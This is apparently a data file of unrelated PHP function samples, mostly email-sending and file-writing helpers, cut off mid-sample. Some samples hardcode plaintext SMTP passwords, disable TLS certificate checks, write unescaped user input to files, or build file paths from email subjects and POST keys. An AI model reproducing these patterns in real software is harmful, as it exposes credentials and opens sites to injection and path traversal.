'images/socials/vimeo.png\" alt=\"Vimeo stranica ' . $settings->site_firm . '\"></a>';\n\t\t}\n\n\t\t\n\t\t$footer = $settings->site_firm.\", \".$settings->site_address.\", \".$settings->site_zip.\" \".$settings->site_city.\"<br /><a style='color: #000;font-family:Arial, sans-serif;font-size: 14px;line-height: 21px;text-transform: lowercase;' href='tel:$settings->site_phone'>\".$settings->site_phone.\"</a>\";\n\t\tif($settings->site_phone_2){\n\t\t\t$footer .= \", <a style='color: #000;font-family:Arial, sans-serif;font-size: 14px;line-height: 21px;text-transform: lowercase;' href='tel:$settings->site_phone_2'>\".$settings->site_phone_2.\"</a>\";\n\t\t}\n\t\t$footer .= \"<br /><a style='color: #000;font-family:Arial, sans-serif;font-size: 14px;line-height: 21px;text-transform: lowercase;' href='mailto:$settings->site_email'>\".$settings->site_email.\"</a>\";\n\t\t\n\t\t$bodyMail = file_get_contents(\"includes/mail.html\");\n\t\t$bodyMail = str_replace(array(\"[CONTENT]\", \"[LOGO]\", \"[SITE_TITLE]\", \"[FOOTER]\", \"[DOMAIN]\", \"[SUBJECT]\", \"[SOCIALS]\"), array(\"<p>\".$body.\"</p>\", $logo, $settings->site_title, $footer, $settings->site_host, $subject, $socials), $bodyMail);\n\n\t\t\n\t\t$mail = new PHPMailer();\n\n\t\t$mail->IsSMTP();\n\t\t$mail->SMTPDebug = 0;\n\t\t$mail->CharSet = 'UTF-8';\n\t\t$mail->Host = $settings->site_outgoing_server;\n\t\t$mail->Port = $settings->site_smtp_port;\n\t\t$mail->SMTPAuth = true;\n\t\t$mail->Username = $settings->site_username;\n\t\t$mail->Password = $settings->site_password;\n\t\t$mail->Mailer = \"smtp\";\n\t\t$mail->SMTPSecure = 'ssl';\n\n\t\t$mail->From = $emailFrom;\n\t\t$mail->FromName = $fromName;\n\t\t$mail->AddAddress($emailTo, $nameTo);\n\t\t$mail->AddReplyTo($emailFrom, $fromName);\n\n\t\t$mail->isHTML(true);\n\t\t$mail->WordWrap = 50;\n\t\t$mail->Subject = $subject;\n\t\t$mail->Body = $bodyMail;\n\t\t$mail->AltBody = strip_tags($body);\n\n\t\tif (!$mail->Send()) {\n\t\t\techo 'Message was not sent. Mailer error: ' . $mail->ErrorInfo . '<br />';\n\t\t}\n\t}", "function writefiles($post){\n\n\t$personal_name=$post[\"title\"];\n\t$contents=$post[\"contents\"];\n\n $contents = nl2br($contents);\n\n $data = \"<hr>\";\n $data = $data.\"<p>投稿者:\".$personal_name.\"</p>\";\n $data = $data.\"<p>内容:</p>\";\n $data = $data.\"<p>\".$contents.\"</p>\";\n\n $keijban_file = 'test.txt';\n\n $fp = fopen($keijban_file, 'ab');\n\n if ($fp){\n if (flock($fp, LOCK_EX)){\n if (fwrite($fp, $data) === FALSE){\n print('ファイル書き込みに失敗しました');\n }\n\n flock($fp, LOCK_UN);\n }else{\n print('ファイルロックに失敗しました');\n }\n }\n\n fclose($fp);\n}", "private function __writeEmailContents($data, $toFolder) {\n\t\t$headers = $this->__splitEmailHeaders($data['headers']);\n\t\t$data['headers'] = $headers;\n\t\t$subject = $headers['Subject'];\n\n\t\t$numEmailFiles = $this->__countFilesInFolder($toFolder);\n\t\t$filepath = sprintf('%s/%03d_%s.js', $toFolder, $numEmailFiles, $subject);\n\t\tfile_put_contents($filepath, json_encode($data, JSON_PRETTY_PRINT));\n\t}", "private function _save(){\r\n\r\n\r\n if($this->hasLogin()){\r\n\r\n /*\r\n \t*\r\n \t*\r\n \t*\tCheck the method used is POST\r\n \t*\r\n \t*\r\n \t*/\r\n \tif($_SERVER['REQUEST_METHOD'] == 'POST'){\r\n\r\n foreach ($_POST as $name => $value) {\r\n $config = HTMLPurifier_Config::createDefault();\r\n $purifier = new HTMLPurifier($config);\r\n $clean_html = $purifier->purify($value);\r\n\r\n $parts = explode('/', $name);\r\n $path = ROOT.DS.'site'.DS.'content';\r\n\r\n for($i = 0; $i < count($parts); $i++){\r\n $path .= DS.$parts[$i];\r\n if($i == (count($parts)-1)){\r\n file_put_contents($path.'.html', $clean_html);\r\n } else {\r\n if(!file_exists($path)){\r\n mkdir($path);\r\n }\r\n }\r\n }\r\n }\r\n\r\n }\r\n\r\n }\r\n\r\n\r\n }", "function enviamail($datos) {\n //Create a new PHPMailer instance\n // Crear una nueva instancia de PHPMailer habilitando el tratamiento de excepciones\n try {\n $mail = new PHPMailer(true);\n// Configuramos el protocolo SMTP con autenticación\n $mail->IsSMTP();\n $mail->SMTPAuth = true;\n// Puerto de escucha del servidor\n $mail->Port = 587;\n// Dirección del servidor SMTP\n $mail->Host = 'mail.dentalia.com.mx';\n// Usuario y contraseña para autenticación en el servidor\n $mail->Username = \"[email protected]\";\n $mail->Password = \"x#l%=pcDw,TS\";\n $mail->SMTPOptions = array(\n 'ssl' => array(\n 'verify_peer' => false,\n 'verify_peer_name' => false,\n 'allow_self_signed' => true\n )\n );\n\n//Set who the message is to be sent from\n $mail->setFrom('[email protected]', 'Dentalia');\n//Set an alternative reply-to address\n $mail->addReplyTo('[email protected]', 'Dentalia');\n//Set who the message is to be sent to\n //$mail->addAddress('[email protected]', 'Geovanny De Leon');\n $nombre = $datos['nombre'] . \" \" . $datos['apaterno'] . \" \" . $datos['amaterno'];\n $mail->addAddress($datos['email'], $nombre);\n //$mail->addCC('[email protected]', 'Geovanny De Leon');\n//Set the subject line\n $mail->Subject = utf8_decode('Confirmación de Cita en dentalia');\n//Read an HTML message body from an external file, convert referenced images to embedded,\n//convert HTML into a basic plain-text alternative body\n $msj = file_get_contents('parts/mailer.html');\n $replacename = str_replace(\"{patname}\", $nombre, $msj);\n $replaceclnic = str_replace(\"{nombreclinic}\", $datos['cliname'], $replacename);\n $dia = date(\"l\", strtotime($datos['fecha']));\n\n if ($dia == \"Monday\")\n $dia = \"Lunes\";\n if ($dia == \"Tuesday\")\n $dia = \"Martes\";\n if ($dia == \"Wednesday\")\n $dia = \"Miércoles\";\n if ($dia == \"Thursday\")\n $dia = \"Jueves\";\n if ($dia == \"Friday\")\n $dia = \"Viernes\";\n if ($dia == \"Saturday\")\n $dia = \"Sábado\";\n if ($dia == \"Sunday\")\n $dia = \"Domingo\";\n\n $mes = date(\"F\", strtotime($datos['fecha']));\n\n if ($mes == \"January\")\n $mes = \"Enero\";\n if ($mes == \"February\")\n $mes = \"Febrero\";\n if ($mes == \"March\")\n $mes = \"Marzo\";\n if ($mes == \"April\")\n $mes = \"Abril\";\n if ($mes == \"May\")\n $mes = \"Mayo\";\n if ($mes == \"June\")\n $mes = \"Junio\";\n if ($mes == \"July\")\n $mes = \"Julio\";\n if ($mes == \"August\")\n $mes = \"Agosto\";\n if ($mes == \"September\")\n $mes = \"Setiembre\";\n if ($mes == \"October\")\n $mes = \"Octubre\";\n if ($mes == \"November\")\n $mes = \"Noviembre\";\n if ($mes == \"December\")\n $mes = \"Diciembre\";\n $dia2 = date(\"d\", strtotime($datos['fecha']));\n $ano = date(\"Y\", strtotime($datos['fecha']));\n $replacefecha = str_replace(\"{fecha}\", $dia . \", \" . $dia2 . \" de \" . $mes . \" de \" . $ano, $replaceclnic);\n $hor = explode(\"-\", $datos['horai']);\n $horaini = date('h:ia', strtotime($hor[0]));\n $horaend = date('h:ia', strtotime($hor[1]));\n $horaconc = $horaini . \" a \" . $horaend;\n $replacef = str_replace(\"{horario}\", $horaconc, $replacefecha);\n\n// $ruta = \"webcal://\" . $_SERVER[\"SERVER_NAME\"] . \"/parts/evento.ics\";\n// /* reemplazamos para el calendario */\n// $replaceCal = str_replace(\"{ruta}\", $ruta, $replacef);\n\n $final = str_replace(\"{dirclinic}\", $datos['clidir'], $replacef);\n\n\n $mail->msgHTML(utf8_decode($final));\n\n\n// var_dump($final);\n// echo \"cual es el error?\";\n if ($mail->send()) {\n //echo \"Message sent!\";\n return true;\n } else {\n echo \"Mailer Error: \" . $mail->ErrorInfo;\n }\n } catch (Exception $e) {\n echo 'informacion sobre el mail: ', $e->getMessage(), \"\\n\";\n }\n }", "function Sending_EMail($temp_value,$to,$subject,$path)\n{\n\t\n\t$mailmsg=createTemplate($temp_value,$path);\n\t$mailparam=array(\"to\"=>$to,\"toname\"=>\"\",\"cc\"=>\"\", \"bcc\"=>\"\", \"replyto\" => \"\", \"replytoname\" => \"\", \"subject\" =>$subject, \"message\"=>$mailmsg, \"fromemail\"=>\"\", \"fromname\"=>\"\", \"attachment\"=>\"\");\n\n\tif(sendmail($mailparam))\n\t{\n\t\t$statusresult[0] = true;\n\t\treturn $statusresult;\n\t}\n\telse\n\t{\n\t\t$statusresult[0] = false;\n\t\t$statusresult['msg'] = \"Unable to send mail\";\n\t\t$statusresult['errorcode']=-1;\n\t\treturn $statusresult;\n\t}\n}", "function send_email($to,$subject,$message1){\n\t$host_address = $_SERVER['HTTP_HOST'];\n\tif(localhost() && 'dummyCondition' == 'delete it')\n\t{\n\t\trequire_once(get_template_directory().'/lib/PHPMailer/PHPMailerAutoload.php');\n\t\t$message_body = $message1;\n\t\t$mail = new PHPMailer;\n\n\t\t$mail->IsSMTP();\n\t\t$mail->SMTPSecure = \"ssl\";\n\t\t$mail->Host = \"smtp.gmail.com\"; // SMTP server\n\t\t$mail->SMTPAuth = true;\n\t\t$mail->Port = 465;\n\t\t$mail->Username = \"[email protected]\";\n\t\t$mail->Password = \"NasirBro\";\n\t\t$mail->addAddress('[email protected]');\n\n\t\t$mail->isHTML(true);\n\t\t$mail->Subject = $subject;\n\t\t$mail->Body = $message_body;\n $mail->From = get_option('admin_email');\n $mail->FromName = 'Byte Bunch';\n\t\t$mail->send();\n\n\t}\n\telse\n\t{\n\t\t$message = '<html><head><title></title></head><body>';\n\t\t$message .= $message1;\n\t\t$message .= '</body></html>';\n\t\t$headers = 'MIME-Version: 1.0' . \"\\r\\n\";\n\t\t$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\";\n\t\t$headers .= 'From: '.get_option('admin_email'). \"\\r\\n\";\n\n\t\tmail($to,$subject,$message,$headers);\n\t}\n}", "function SendMailHtml($destinatario, $contenido, $asunto)\n{\n\t$mensaje = '<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\" />\n<title>Documento sin título</title>\n</head>\n\n<body>\n<table width=\"100%\" border=\"0\" cellspacing=\"3\" cellpadding=\"3\" style=\"\">\n <tr>\n <td><img src=\"http://loopsdancestudio.se/img/loops_dance_studio.svg\" width=\"\" height=\"65\" /></td>\n </tr>\n <tr>\n\t<td>\n\t\t<br/>'; \n\t\t$mensaje.= $nombre;\n\t\t':\n\t\t<br/>\n\t\t<br/>\n\t\t<p>';\n\t\t$mensaje.= $contenido;\n\t\t$mensaje.='</p>\n\t\t<br/><br/>\n\t</td>\n </tr>\n <tr>\n\t<td>\n\t<p style=\"color:#666;\">FRISKVÅRDSBIDRAG?</p>\n\t<br/>\n\t<p style=\"font-size:12px; color:#666;\">Detta mejl gäller som kvitto och går hos de flesta arbetsgivare att använda för friskvårdsbidrag. \n\tOm du vill ha ett mer utfärligt intyg så kan du kontakta oss på <a style=\"font-size:14px;\" href=\"mailto:[email protected]\">[email protected]</a> </p>\n\t</td>\n </tr>\n</table>\n</body>\n</html>';\n\n\t// Para enviar correo HTML, la cabecera Content-type debe definirse\n\t$cabeceras = 'MIME-Version: 1.0' . \"\\n\";\n\t$cabeceras .= 'Content-type: text/html; charset=iso-8859-1' . \"\\n\";\n\t// Cabeceras adicionales\n\t$cabeceras .= 'From: [email protected]' . \"\\n\";\n\t$cabeceras .= 'Bcc: [email protected]' . \"\\n\";\n\t\n\t// Enviarlo\n\tmail($destinatario, $asunto, $mensaje, $cabeceras);\n\techo $mensaje;\n\t\n}", "function sendmail ($from_name, $from_email, $to_name, $to_email, $subject, $text_message=\"\", $html_message, $attachment=\"\") \n { \n $from = \"$from_name <$from_email>\"; \n $to = \"$to_name <$to_email>\"; \n $main_boundary = \"----=_NextPart_\".md5(rand()); \n $text_boundary = \"----=_NextPart_\".md5(rand()); \n $html_boundary = \"----=_NextPart_\".md5(rand()); \n $headers = \"From: $from\\n\"; \n $headers .= \"Reply-To: $from\\n\"; \n $headers .= \"X-Mailer: Hermawan Haryanto (http://hermawan.com)\\n\"; \n $headers .= \"MIME-Version: 1.0\\n\"; \n $headers .= \"Content-Type: multipart/mixed;\\n\\tboundary=\\\"$main_boundary\\\"\\n\"; \n $message .= \"\\n--$main_boundary\\n\"; \n $message .= \"Content-Type: multipart/alternative;\\n\\tboundary=\\\"$text_boundary\\\"\\n\"; \n $message .= \"\\n--$text_boundary\\n\"; \n $message .= \"Content-Type: text/plain; charset=\\\"ISO-8859-1\\\"\\n\"; \n $message .= \"Content-Transfer-Encoding: 7bit\\n\\n\"; \n $message .= ($text_message!=\"\")?\"$text_message\":\"Text portion of HTML Email\"; \n $message .= \"\\n--$text_boundary\\n\"; \n $message .= \"Content-Type: multipart/related;\\n\\tboundary=\\\"$html_boundary\\\"\\n\"; \n $message .= \"\\n--$html_boundary\\n\"; \n $message .= \"Content-Type: text/html; charset=\\\"ISO-8859-1\\\"\\n\"; \n $message .= \"Content-Transfer-Encoding: quoted-printable\\n\\n\"; \n $message .= str_replace (\"=\", \"=3D\", $html_message).\"\\n\"; \n if (isset ($attachment) && $attachment != \"\" && count ($attachment) >= 1) \n { \n for ($i=0; $i<count ($attachment); $i++) \n { \n $attfile = $attachment[$i]; \n $file_name = basename ($attfile); \n $fp = fopen ($attfile, \"r\"); \n $fcontent = \"\"; \n while (!feof ($fp)) \n { \n $fcontent .= fgets ($fp, 1024); \n } \n $fcontent = chunk_split (base64_encode($fcontent)); \n @fclose ($fp); \n $message .= \"\\n--$html_boundary\\n\"; \n $message .= \"Content-Type: application/octetstream\\n\"; \n $message .= \"Content-Transfer-Encoding: base64\\n\"; \n $message .= \"Content-Disposition: inline; filename=\\\"$file_name\\\"\\n\"; \n $message .= \"Content-ID: <$file_name>\\n\\n\"; \n $message .= $fcontent; \n } \n } \n $message .= \"\\n--$html_boundary--\\n\"; \n $message .= \"\\n--$text_boundary--\\n\"; \n $message .= \"\\n--$main_boundary--\\n\"; \n if(mail ($to, $subject, $message, $headers)){\n \treturn true;\n }else{\n \treturn false;\n }\n }", "public static function createABFile()\n\t{\n\t\t$mails = [];\n\t\t$db = \\App\\Db::getInstance();\n\t\t$usersIds = \\App\\Fields\\Owner::getUsersIds();\n\t\tforeach ($usersIds as $userId) {\n\t\t\t$mails = (new \\App\\Db\\Query())->select([new \\yii\\db\\Expression('CONCAT(name,' . $db->quoteValue(' <') . ',email,' . $db->quoteValue('>') . ')'), 'vtiger_crmentity.setype'])\n\t\t\t\t->from(self::TABLE)->innerJoin('vtiger_crmentity', self::TABLE . '.id = vtiger_crmentity.crmid')\n\t\t\t\t->where(['or', ['like', self::TABLE . '.users', \",{$userId},\"], ['like', self::TABLE . '.users', \"%,{$userId}\", false]])\n\t\t\t\t->orderBy(new \\yii\\db\\Expression(\"CASE WHEN setype = 'OSSEmployees' THEN 1 WHEN setype = 'Contacts' THEN 2 ELSE 3 END\"))->distinct()->column();\n\t\t\tif ($mails || file_exists(\"cache/addressBook/mails_{$userId}.php\")) {\n\t\t\t\t\\App\\Utils::saveToFile(\"cache/addressBook/mails_{$userId}.php\", '$bookMails =' . App\\Utils::varExport($mails) . ';');\n\t\t\t}\n\t\t}\n\t}", "function mailMonthlySpreadsheet(){\n\t \n\t require_once $GLOBALS['ROOT_PATH'] . 'PHPMailer/PHPMailerAutoload.php';\n\t\t\n\t\t$admin = $this->getHouseholdAdmin();\n\t\t$adminName = $admin->getUserFullName();\n\t\t$adminEmail = $admin->getEmail();\n\t\t\n\t\t$currentMonth = date('Y-m');\n\t\t\n\t\t$members = $this->getMembers();\n\t\t$sheetName = $this->createSpreadsheet();\n\t\t\n\t\t$subject = str_replace('.xlsx', '',$sheetName). ' closing.';\n\t\t\n\t\t$monthSummary = $this->formatMonthlyBalanceReport();\n\t\t\n\t\t$message = '<html>\n\t\t\t\t<body>\n\t\t\t\t <h3>Hello <<name>>,</h3>\n\t\t\t\t <p>This is an automated email to notify you that '. $currentMonth .' </br>\n\t\t\t\t \t\tperiod of the '. $this->getHhName() .' has been\n\t\t\t\t \t\tclosed and balanced!</p>\n\t\t\t\t <p>Here are the results: </br></p>\n\t\t\t\t \t\t\t\t'.$monthSummary.'\n\t\t\t\t <p>HHManagement web app.</p>\n\t\t\t\t</body>\n\t\t\t\t</html>';\n\t\t$file_to_attach = $GLOBALS['ROOT_PATH'] .'spreadsheets/'.$sheetName;\n\t\t\n\t\tforeach ($members as $member) {\n\t\t\t$userEmail = $member->getEmail();\n\t\t\t$userName = $member->getUserFirstName();\n\t\t\t$email = new PHPMailer();\n\t\t\t$email->From = '[email protected]';\n\t\t\t$email->FromName = $adminName . '(HhManage Admin)';\n\t\t\t$email->Subject = $subject;\n\t\t\t//$email->Subject = 'Yet, another test... ignore';\n\t\t\t$email->msgHTML(str_replace('<<name>>', $userName, $message));\n\t\t\t$email->addAddress( $userEmail);\n\t\t\t$email->addAttachment( $file_to_attach , $sheetName );\n\t\t\t$email->Send();\n\t\t}\n\t\t\n\t\tif(file_exists($file_to_attach)){\n\t\t\tunlink($file_to_attach);\n\t\t\treturn true;\n\t\t} else {\n\t\t return false;\n\t\t}\n\t}", "public function save_message($folder, &$message, $headers = '', $is_file = false, $flags = array(), $date = null) {\n\n /*\n\n Function general outline\n\n 1 Find folder - function db_find_create_mailbox\n 2 Create physical message (Dedup??) - function insert_physmessage\n 3 Create (logical) message (step == 0) - function _message_insert\n 4 Update USER Quota (step == 1) - function _update_message\n 5 Save message parts (step == 2) - function dm_message_store\n 6 Update headers cache (step == 3) - function dbmail_message_cache_headers\n 7 Update envelope cache - function dbmail_message_cache_envelope\n 8 Update reference field\n\n */\n\n if (!$this->dbmail->startTransaction()) {\n return FALSE;\n }\n\n /*\n * 1 Find folder\n */\n $mailbox_idnr = $this->get_mail_box_id($folder);\n if (!$mailbox_idnr) {\n // not found\n return FALSE;\n }\n\n // ACLs check ('insert' grant required )\n $ACLs = $this->_get_acl($folder);\n if (!is_array($ACLs) || !in_array(self::ACL_INSERT_FLAG, $ACLs)) {\n // Unauthorized!\n return FALSE;\n }\n\n /*\n * 2 Create physical message\n */\n $query = \"INSERT INTO dbmail_physmessage \"\n . \" ( \"\n . \" messagesize, \"\n . \" rfcsize, \"\n . \" internal_date \"\n . \" ) \"\n . \" VALUES \"\n . \" ( \"\n . \" '{$this->dbmail->escape(strlen($message))}', \"\n . \" '{$this->dbmail->escape(strlen($message))}', \"\n . \" NOW() \"\n . \" ) \";\n\n if (!$this->dbmail->query($query)) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n // Retrieve inserted ID\n $physmessage_id = $this->dbmail->insert_id('dbmail_physmessage');\n if (!$physmessage_id) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n /*\n * 3 Create (logical) message\n */\n $query = \"INSERT INTO dbmail_messages \"\n . \" ( \"\n . \" mailbox_idnr, \"\n . \" physmessage_id, \"\n . \" seen_flag, \"\n . \" unique_id, \"\n . \" status \"\n . \" ) \"\n . \" VALUES \"\n . \" (\"\n . \" '{$this->dbmail->escape($mailbox_idnr)}', \"\n . \" '{$this->dbmail->escape($physmessage_id)}', \"\n . \" 1, \"\n . \" '{$this->dbmail->escape($this->create_message_unique_id())}', \"\n . \" '{$this->dbmail->escape(self::MESSAGE_STATUS_SEEN)}' \"\n . \" )\";\n\n if (!$this->dbmail->query($query)) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n // Retrieve inserted ID\n $message_idnr = $this->dbmail->insert_id('dbmail_messages');\n if (!$message_idnr) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n /*\n * 4 Update USER Quota\n */\n if (!$this->increment_user_quota($this->user_idnr, strlen($message))) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n // create Mail_mimeDecode obj\n $mime_decoded = $this->decode_raw_message($message, FALSE);\n if (!$mime_decoded) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n /*\n * 5 Save message parts\n */\n\n // store main mail headers (retrieve real message headers instead of using Mail_mimeDecode content which are lowercased!!!!)\n $real_headers = $this->extract_raw_headers_from_message($message);\n if (!$this->_part_insert($physmessage_id, $real_headers, 1, 1, 0, 0)) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n // store mime parts\n $part_key = 1; ## this must be in a variable because it's passed by reference\n if (!$this->store_mime_object($physmessage_id, $mime_decoded, $part_key, 0, 1)) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n /*\n * 6 Update headers cache\n */\n\n // set raw headers string and store searchable header name /value pairs\n $raw_headers = '';\n foreach ($mime_decoded->headers as $header_name => $header_value) {\n $raw_headers .= $header_name . $this->get_header_delimiter($header_name) . $header_value . \"\\n\";\n }\n\n // filter saved headers and save them\n $saved_headers = $this->get_saved_headers($mime_decoded->headers, $raw_headers);\n foreach ($saved_headers as $header_name => $header_value) {\n\n if (!$this->save_header($physmessage_id, $header_name, $header_value)) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n }\n\n /*\n * 7 Update envelope cache \n */\n $envelope_headers = $this->get_mail_envelope_headers($raw_headers);\n if (!$this->save_mail_envelope_headers($physmessage_id, $envelope_headers)) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n // increment folder and message 'seq' flag\n if (!$this->increment_mailbox_seq($mailbox_idnr, $message_idnr)) {\n $this->dbmail->rollbackTransaction();\n return FALSE;\n }\n\n return ($this->dbmail->endTransaction() ? $message_idnr : FALSE);\n }", "private function notification_make_mail_html($userto, $courses, $publicids) {\r\n global $CFG, $OUTPUT;\r\n $posthtml = '<head>';\r\n $posthtml .= '</head>';\r\n\r\n $courses_list = \"<ul>\";\r\n foreach($courses as $course){\r\n $courses_list .= '<li>';\r\n if($this->tab == \"course\"){\r\n if(isset($course->course_demourl) && $course->course_demourl != null){\r\n $courses_list .= '<a target=\"_blank\" href=\"'.$course->course_demourl.'\">'.$course->fullname.' (Parcours en démonstration)</a>';\r\n } else{\r\n $courses_list .= '<a target=\"_blank\" href=\"'.$course->course_url.'\">'.$course->fullname.'</a>';\r\n }\r\n } else {\r\n if($course->source == 'local'){\r\n $local_url = $course->course_url.'?id='.$course->courseid;\r\n $courses_list .= '<a target=\"_blank\" href=\"'.$local_url.'\">'.$course->fullname.'</a>';\r\n } else {\r\n $courses_list .= '<a target=\"_blank\" href=\"'.$course->course_url.'\">'.$course->fullname.'</a>';\r\n }\r\n }\r\n $courses_list .= '</li>';\r\n }\r\n $courses_list .= '</ul>';\r\n\r\n $data = new stdClass();\r\n $data->username = $userto->firstname .\" \". $userto->lastname;\r\n $data->courses_list = $courses_list;\r\n $message_intro = get_string('email_message_intro_parcours','local_magistere_offers', $data);\r\n if($this->tab == 'formation'){\r\n $message_intro = get_string('email_message_intro_formation','local_magistere_offers', $data);\r\n }\r\n\r\n $publics_list = '<ul>';\r\n foreach($this->get_publics_by_stringids($publicids) as $public){\r\n $publics_list .= '<li>'.$public->name.'</li>';\r\n }\r\n $publics_list .= '</ul>';\r\n $publics_message = get_string('email_message_publics','local_magistere_offers', $publics_list);\r\n\r\n $link_preference = '<a target=\"_blank\" href=\"'.$CFG->wwwroot.'/local/magistere_offers/index.php?v=parcours&action=changepref\">'.get_string('email_message_preference_link', 'local_magistere_offers').'</a>';\r\n if($this->tab == 'formation'){\r\n $link_preference = '<a target=\"_blank\" href=\"'.$CFG->wwwroot.'/local/magistere_offers/index.php?v=formation&action=changepref\">'.get_string('email_message_preference_link', 'local_magistere_offers').'</a>';\r\n }\r\n\r\n $message_outro = get_string('email_message_outro', 'local_magistere_offers');\r\n\r\n $posthtml .= '<body id=\"notif_offers_email\">';\r\n $posthtml .= '<p>'.$message_intro.'</p>';\r\n $posthtml .= '<p>'.$publics_message.'</p>';\r\n $posthtml .= '<p>'.$link_preference.'</p>';\r\n $posthtml .= '</br>';\r\n $posthtml .= '<p>'.$message_outro.'</p>';\r\n $posthtml .= '</body>';\r\n\r\n $posthtml .= '<footer style=\"text-align:center;\">';\r\n $posthtml .= '<div style=\"margin:auto;display:inline-block;\">\r\n <img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMgAAAAuCAIAAADiJ8FWAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAB5USURBVHja7Fx5nFTVlT7nvqXq1drVVb0v0DQNCLLIKiqILCqiuEKMY6LzM9GYmExcJhPNJDEzMU4SdUyiJsYsuBEQN1AwrqACirLL2kA30N30UtXdtb+qt9wzf1R1dVV3NTYugZnh/PgDHq/eu8t3z/3Od859SERw2k7bF23s9BCcti/DxNNDcEIW0UyRoSKezAXZlTDuXN/ZEjVGeeSvjnBML1NOwYHC01vhIO1QSLv/4+43muIWAa4aZr9zUmGxchKWpUl041vtz+wIgYTAQZDwsmGOq2sd86ttXkU4DaxPNToWM7uTZlznJoHAwC6yQotQaj85LrZTNc5+vvlgRxJkBgCQNGfVOt68vEJk+A9uyZ6u5JilTYCACABABGAQcKoskG8d67p+pLPaKZ0GVh5rCOnLDoRXNsT2B/W4CTonAAJAWUCbACMLpIU19mvrnMPc8j+yVY/s7P7uW360pndAAgCdv3p5+YKhji/k+TsDiZUNMYnh4jrnMPfxkLG7K3nm0qOAiLmQJpPAoEKbsGph+bmnwOZ4CnGszR3qjz/oXN+WjKomMADWsyoBAUAzSTNoU2tiU3Pi/i3BqUWWuyZ55g+x/2PatqVDy45zEIA47AgkvxBg/XlP6LZ3/AnNBIBfbel+8qKSywZ+7CiPfOMZziXbQiQzEHvRhQKCgF0x428HoqcCsE6JqDBm8LvW+2e+0PL3xnjUIJQZigwAweRg9PwxCQBAZGhhUYO/czR+ySvHFr/WWh/U/gEtHOuTgGe5BwBAGF1o+fxPbo8b/7qhM8EJrQJahW7V/PcPuww+4DYiID4ys+jhecWTSy2gc0pyyr4ZwS3hqTCnJ38rrA9qt61rf/OQClZERCIAk4CTXRFGFspliiAx1Dj5VfNQWO+KGkAAIiJDIgCNlzjF319QfGWt40ttZHNUn/xcU3tYB0kAAtDMM8uUTYsqbZ87PNzckZiyogkgvbURB6/C6v9pSKFV+FQWv/JQ9OWG2FstamtQByHNudZeUzmrwvb/HVgNIe2yV1v3dCTRwgCADEIBpxVbrh3huGyovcYtIfSuv9aYsbFVXXog8n5Lwh8zQUREIJOA0+Nzi28eU/ClNvXDNvXWtf4DYV1EPMsnPz67eETBF8DzNrUnzn6+GaCHjHPyKMK+64YUDzrEa48bS/aEVhyKx5LmbRMKvjOu4P+7x4po5rQVzXv9SZRZig7XFcqPnV80t/pTmFNb3Lhvc9fvd4ZMDigicQDOV1xSes1w15cd6jdFdIlBheMLCx0+ak9MywVWoSLsu25I0YlrBxonmZ0S++DJ5Fic6KtvtKdQBQCQ5F87w/XR4qpPRRUAlNrE380s/mBR5VCXSDpHBoD4rXcC2/zJL7XNAuJQl/wFogoAbCL2n5L+Fwdjpw6qeqPCpMmX1Uf3d2k1bumGM5yykAbcq43RN47G21VTJ3CIWOeSrhzuONPbl7RuDyRfPBhtCOsxg2QBiyxsvM9y1XCHd2CisOxAZPXBaEoWIo3fMNb1lzklrDfKoY/akh+0qYEkt4s4pdg6q1IREFMb4tL6SCjJ5w+xrbu6cvZLLQ1BHUXsjBk//CDw+sJyADyOq1txIPJJQOvWOAcokNl4n3zdSKfPmh6HnZ3JlQejGsGlQ23TSvvGVh+0qWsOxxUBF9c5hg+wD4Y085WG2Kb2hD/BNU4igtcijCiQ5w+1jfLIPdQfAeBwRDsSNvZ29wk+UOPwZlO8wMJsAo4rslgFlpeYrmyI1gf1oMZNAkXEMkW8oFKZP8TGEI8b3ibWHI4lTDqnTFkw1JZqyZGI/vKhaHuM13rEG0c5Bcb6d2p1Y2xTe7JDNZMmSQL6LGxCkeXSobYyuzTgVhg36Kuvt67aFwGGwGnhKOfKBWUftyfv3dS5piEG1OPXCICTTRG+M8599+RCj0UAgL1d2sPbu5bsi2pJ3juhBABQ5ZH+ZXzBrWPd/RluWDPHL2s6HNJRQNL5BdW2Ny4vF3v6s7Ih+sjO4FtNKhiUfpaAM8qVe8/2zq5UpjzXvPloHBgyCXdcVw0A01c0Rw2ODMngLy4ou7LW2b+f3Unz0R3Bx3aFW0MaYA9zIwCCWq/006ner41yrT4cvf719mDUAACrIvx1Xsm1db2PemZ/+MY3202NA0F5gfy3i0tm5nJkg9Pju0IP7wge7NTS4Em9hQMAKFZ2xTD7zWcWzKpQAOCh7d3/8WFXSDOBIfbzNGQSEAHApGLLo7OKsyG+qyv5h52hJfsiMdXsfUVqnBieU2G99Uz3V0c4hXze6697Q99e608kTAAAxB9O89x/TtFf9obu3hDoCBuACATz6+zLLip1yULPTPEndod+vyt0KLtTlH5pqVv6xmjXt8a6KvrBC4no4e3dt7/tB4Wlf8LpR5M9f9gd7owY/d0rEUGCT6tSVl1WvrUjef3rbZ0xA2Sh/zohk0DjV45yPn1hqV3KwdaKg+HFq9tQYsTBI+P7V1eOSXtBumt94MHN3YAAYu/aIwDQuGIVfjfTe+eGrpDGAQF0vury8suGOm5/v+Phzd1oEUjn51Up719V1aclh8PaotfaNreoILM8s2gQED10vm/J3ujO9kRqayaDXFah/vrqEpsIAB2qMfKZo0HVRBFTLnZCmXXz4qpMtyMa/8Y77c/tDoPMIM9gQCqGZRJ79sLi8T7LmKVHiSAVyuW5OfM31ZxcpWxaVJUai6f2hb/3rj8UN0HO45gIAAwCg189yvnorOJUyzN